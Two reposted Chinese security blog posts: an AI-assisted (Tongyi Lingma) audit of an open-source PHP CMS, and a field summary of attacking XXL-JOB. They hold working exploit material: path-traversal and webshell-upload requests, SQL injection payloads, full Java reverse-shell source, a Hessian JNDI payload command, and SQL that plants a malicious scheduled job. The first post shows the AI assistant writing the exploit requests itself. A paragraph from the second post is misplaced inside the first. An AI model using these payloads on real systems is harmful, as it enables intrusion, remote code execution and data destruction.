【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

本文转自 周周的奇妙编程 并作补充

前言

已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。争取在未来的两个月内把这些内容都补上

准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。

赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,“通义灵码”起到了较大的帮助,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。

审计对象

本次审计的对象主要有两个:某开源PHP最新版6.0某开源OA最新版2.6.5

借助通义灵码,共审计出开源PHP最新版6.0高危漏洞4个,某开源OA最新版2.6.5高危漏洞1个 , 目前已提交至CNVD平台,尚在审核流程中,所以此处不便直接透露详细信息。

工具准备

环境搭建工具

**phpstudy_pro(小皮面板)**:在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。

代码审计工具

Seay源代码审计:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji

CodeScan:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:https://github.com/Zjackky/CodeScan

RIPS :Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/

代码编写及辅助工具

Visual Studio Code :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。

通义灵码:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。

遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。
详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

源码下载

由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。

image

image

环境搭建

将下载后的源码放在phpstudy的 www 目录下

image

进入 phpstudy_pro\WWW\cltopen-master\cltopen-master\config 目录下,修改数据库配置文件

image

修改之后可以进入数据库中,导入该开源项目的示例数据库

image

打开phpstudy ,设置域名和根目录

image

设置伪静态(必须)

1
2
3
4
5
6
7
location / {

if (!-e $request_filename){

rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}

image

点击确认即可,打开浏览器访问域名即可看到

同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件

审计打点

在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。

值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。

image

image

这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。

在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析)

源码分析

打开源码,进入到Template.php页面下,可以看到代码如下:

image

主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。

按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了通义灵码,一切都变得不一样了。

首先我们全选代码,使用提示词如下:

已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

这段 prompt 有几点比较关键:

  1. 我们需要明确告知灵码,这里确实存在安全漏洞,同时也是确认主题,避免输出其他内容
  2. 我们需要告知,找出它能确定的漏洞,减少误报和泛化判断
  3. 明确最终结果是分析该漏洞形成原因,也便于安全工程师理解

随即,灵码会针对该段代码进行一次静态审查,并给出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
安全漏洞及分析

1.路径遍历漏洞

位置:insert, edit, update, delete, imgDel , Images方法
原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。
示例:
php
$filename = input('post.file'); // 用户输入未验证
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type; // 可能导致路径遍历

2.文件上传漏洞

位置:insert, update 方法
原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。
示例:
php
file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容

3.目录删除漏洞

位置:imgDel 方法
原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。
示例:
php
$path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证
$file=$path.input('post.filename'); // 可能导致路径遍历
is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件

4.SQL 注入漏洞

位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。
原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。

5.XSS 漏洞

位置:edit, images 方法
原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。
示例:
php
$content = file_get_contents($file); // 未转义
$this->assign ( 'content',$content ); // 直接输出到页面

image

每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉)

下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置

路径遍历漏洞、任意文件删除漏洞

image

采用BP抓包,此处以edit方法为例,可以发现拼接方式是 admin/模块/方法/操作对象类型/操作对象

image

观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法

其中请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html  HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去:

已知请求包如下,请你帮忙修改请求包以验证该漏洞存在:

image

此时,它会根据当前的传入参数自动构造一个修改后的返回包:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

除此,下面也配上了漏洞分析和预期结果:

1
2
3
4
5
6
7
8
漏洞分析
文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts
这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。
其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。

预期结果
如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。
如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。

再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容:

image

image

再比如,定位到Images方法处

image

采用BP抓包,可直接抓到如下地址:

image

借助灵码直接构造请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/images.html?folder=../../ HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

可在图片查看界面实现对文件目录的遍历:

image

同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害!

image

文件上传漏洞、文件内容覆盖漏洞

继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞

在BP中抓包地址如下:

image

我们先修改为insert方法,故当前请求包为:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包:

已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 65
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=test.php&type=php&content=<?php system($_GET['cmd']); ?>

可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包

image

并且下面也给出了相应解释及详细验证步骤

image

因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../shell&type=php&content=<?php eval($_POST[1]);?>

返回包提示添加成功

image

在static目录下可以看到该上传的文件

image

由于没有限制文件格式和内容,此处是可以上传任何格式和内容

同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数

image

这里直接延用上述请求包即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/update.html HTTP/1.1
Host: public
Content-Length: 46
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../../ceshi.txt&type=txt&content=nihao

但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀)

执行后结果如下:

image

原测试文件内容如下:

image

执行后文件内容如下:

image

可以看到已实现对任意文件内容的修改

SQL注入漏洞

看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力

进入到广告管理模块下面,看到其调用的方法来自AD.php

继续使用上述prompt:

已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险

它给出的回答如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析:

1. index 方法中的 where 条件

->where('a.title', 'like', "%" . $key . "%")

成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。

2. editState 方法中的 where 条件

if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){


成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

3. del 方法中的 where 条件

db('ad')->where(array('id'=>input('id')))->delete();

成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。

最好使用参数绑定来确保安全性。

4. delall 方法中的 where 条件

$map[] =array('id','in',input('param.ids/a'));
db('ad')->where($map)->delete();

成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。

比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt:

请详细讨论editState 方法中的 where 条件

灵码就会针对该方法进行详细的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
问题分析
用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。

这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。

SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。

示例攻击
假设用户发送以下 POST 请求:

POST /admin/ad/editState HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

id=1 OR 1=1&open=1

生成的 SQL 语句将是:

UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1

这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。

image

对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置

image

抓包如下,构造延迟注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/ad/editstate.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/ad/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0
Connection: close

id=38 and sleep(5)&open=1

验证发现可以延迟

image

随后采用SQLmap进行验证存在

1
py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba

image

workspace工作空间分析

除去对当前代码的基础分析外,灵码也可以对当前的工作空间进行整体分析:

image

进入workspace工作空间模式下,此时它可以直接读到本地项目,所以我们可以指明文件的目录位置来进行prompt提问:

@workspace
请你分析application/admin/controller/Common.php文件,判断出其中存在的安全漏洞。

灵码给出的回复如下:

image

如若不指出,也可以直接提问让其在整个工作空间下寻找漏洞点:

请指出该程序中可能存在的安全漏洞并加以简要分析

但是这种方法的缺点就在于”随机性”太强,因为灵码的输出字符数有限,且它引用的你本地代码文件数量有限,所以极有可能出现每次结果都完全不一样的情况,如果存在漏洞点较多,它的输出就更加模糊了。

image

这个功能的一些好处在于,它不仅能够帮助开发者更深入地理解自己的代码库,还能根据现有代码的逻辑和编程风格提供更加个性化、更加贴合实际需求的代码片段或优化建议。例如,通过分析现有的编码模式,该功能可以识别出重复的代码模板或者常见的开发习惯,进而提出改进措施来提高代码的可读性和效率。此外,对于那些希望保持项目一致性或是遵循特定设计模式的团队来说,这种定制化的反馈是非常有价值的。它还可以帮助识别潜在的bug或性能瓶颈,从而提升软件的质量与运行效率。

总结及展望

我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。

但同时,它仍然存在可提升空间:

  • 在理解和解释复杂业务逻辑方面的能力还有待加强,尤其是在面对非标准或高度定制化的代码时,其表现不尽如人意。
  • 在workspace模式下,有些过于僵硬,不能很好的理解我的需求

回望过去两年灵码能力的大幅度增强,我们有理由相信它在未来会变得更加智能和高效,能够更好地应对复杂代码结构和逻辑,减少误报率,提高漏洞检测的准确性。同时,通过不断优化用户体验,灵码将能够更好地适应多样化的需求,提供更加个性化和定制化的服务,使开发者和安全研究人员能够更专注于核心问题的解决。

XXL-JOB在真实攻防下的总结

XXL-JOB在真实攻防下的总结

本文转自 Air 并作补充

最近在HW中经常会遇到XXL-JOB这个组件,也通过这个组件进入了不少目标单位,那就对该组件的利用进行一次总结。

一、最基本的操作-计划任务命令执行

这个操作我相信大家已经熟的不能再熟了,因为xxl-job的初始化sql语句中设定了默认密码,而且在登入之后不会提示修改默认密码,就造成了xxl-job的默认账号密码为admin/123456。

由于xxl-job本身是任务调度的系统,其可以自然执行命令。通常会反弹shell,再进行后渗透,只需要在新建命令时选择对应的脚本语言,在GLUE IDE中编辑命令,选择执行一次即可。

image

image

image

这种方式有几个容易踩坑的点:

1、选择执行命令的种类与系统不匹配

image

因为xxl-job的exector在生产环境中常常跑在docker环境下的linux下,就会造成一个惯性思维:当我们拿到一个xxl-job的往往会先使用shell去执行命令。

image

当失败的时候就会以为是环境有问题,打不动。

却不知有时xxl-job也可以跑在Windows下。这时候就可以去执行Powerhshell命令去上线。当然如果比较懒的话可以直接执行java代码来上线。无论Windows和linux都可以反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;

StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}

public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("ip:port");
}

public static void main(String[] args)
{
System.out.println("0");
}

public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}

2、反弹shell

在实战中会碰到executor不出网的情况。即执行了反弹shell的命令之后在vps上未收到回显,这时就要去思考executor是否出网或者是注册executor是否失效。
我们可以去执行器中查看其注册方式

image

我们去正常来说自动注册的executor是不会出问题的。因为从代码实现来看xxl-job的executor每隔2min就会向adminer发送心跳证明其存活。而自己注册的可能就不一定可以打通。

二、api未授权访问

在xxl-job<=2.0.2的时候api存在未授权访问,有两种方式可以getshell。

1、利用jndi注入去打内存马

这个已经被人讲过好多次了,但是利用的前提就是需要出网,使用marshalsec去生成payload

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再利用curl去发包即可,注意尽量使用linux或者Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

1
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。

详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

三、执行命令注入内存马

这种同样是不出网时才考虑的操作。注入的是agent内存马,这个利用的条件其实也有点苛刻,一般来说xxl-job的executor常常跑在docker环境下或者分布式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。方法就是使用echo方法或者java的写入文件的方法将agent内存马写到目标主机上,然后在进行加载。具体利用方法可参照。XXL-JOB 深度利用

四、奇技淫巧-从数据库getShell

这也是实战中遇到的一个案例,目标单位存在一个nacos的身份伪造漏洞,获取到了数据库的配置文件,成功的连上了数据库,当然我们可以去尝试udf提权或者猜目录去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的方法去getshell。

image

image

这时候通常有两种利用方式:1、获取到xxl-job的密码,登入xxl-job去写计划任务进行命令执行getshell。2、直接通过往数据库里写内容进行getshell。

1、登入xxl-job进行getshell

这种方式通常适用于xxl-job-admin的服务暴露在互联网上。我们可以通过语句select * from information_schema.PROCESSLIST;来判断客户端连接。由于我是在本地跑的环境,这里就是localhost,如果是通过公网ip去连接的数据库,我们就可以定位到其公网ip,扫一下端口即可判断xxl-job-admin是否暴露在公网上了。

image

如果暴露在公网上,我们便可以直接利用,xxl-job密码为md5加密,我们首先可以尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入成功之后我们便可以通过计划任务进行命令执行了。

image

2、通过向数据库中写入数据进行getshell

这是我偶然发现的一个小trick,其实原理很简单,xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。当前测试版本为2.4.1(不同版本的xxl-job的数据库结构不太相同,以最新版的为例,旧版的在之前遇到的环境中经测试也能打通。)

只需要在xxl_job.xxl_job_info中插入这条语句即可

1
2
3
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`)
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得关注的点:

